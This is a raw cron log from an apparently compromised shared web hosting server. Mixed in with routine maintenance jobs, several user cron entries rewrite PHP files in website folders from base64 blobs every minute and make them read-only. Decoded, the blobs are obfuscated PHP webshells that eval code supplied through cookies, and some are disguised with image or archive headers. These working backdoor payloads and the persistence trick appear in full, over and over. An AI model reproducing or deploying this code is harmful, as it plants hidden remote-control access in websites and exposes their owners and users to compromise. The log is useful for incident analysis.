Mar  1 15:10:02 medusa CROND[16941]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:10:02 medusa CROND[16944]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:10:02 medusa CROND[16946]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:10:02 medusa CROND[16947]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:10:02 medusa CROND[16942]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 15:10:02 medusa CROND[16951]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:10:02 medusa CROND[16952]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:10:02 medusa CROND[16955]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 15:10:02 medusa CROND[16966]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:10:02 medusa CROND[16936]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:10:02 medusa CROND[16969]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:10:02 medusa CROND[16970]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:10:02 medusa CROND[16971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:10:02 medusa CROND[16978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:10:02 medusa CROND[16981]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:10:02 medusa CROND[16967]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 15:11:02 medusa CROND[9476]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:11:02 medusa CROND[9477]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:11:02 medusa CROND[9479]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:11:02 medusa CROND[9478]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 15:11:02 medusa CROND[9480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:11:02 medusa CROND[9481]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:11:02 medusa CROND[9482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:11:02 medusa CROND[9483]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:11:02 medusa CROND[9484]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:11:02 medusa CROND[9491]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:11:02 medusa CROND[9493]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:11:02 medusa CROND[9494]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:11:02 medusa CROND[9495]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:12:01 medusa CROND[1714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:12:01 medusa CROND[1715]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:12:01 medusa CROND[1716]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:12:01 medusa CROND[1718]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:12:01 medusa CROND[1717]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:12:01 medusa CROND[1721]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:12:01 medusa CROND[1720]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:12:01 medusa CROND[1723]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:12:01 medusa CROND[1726]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
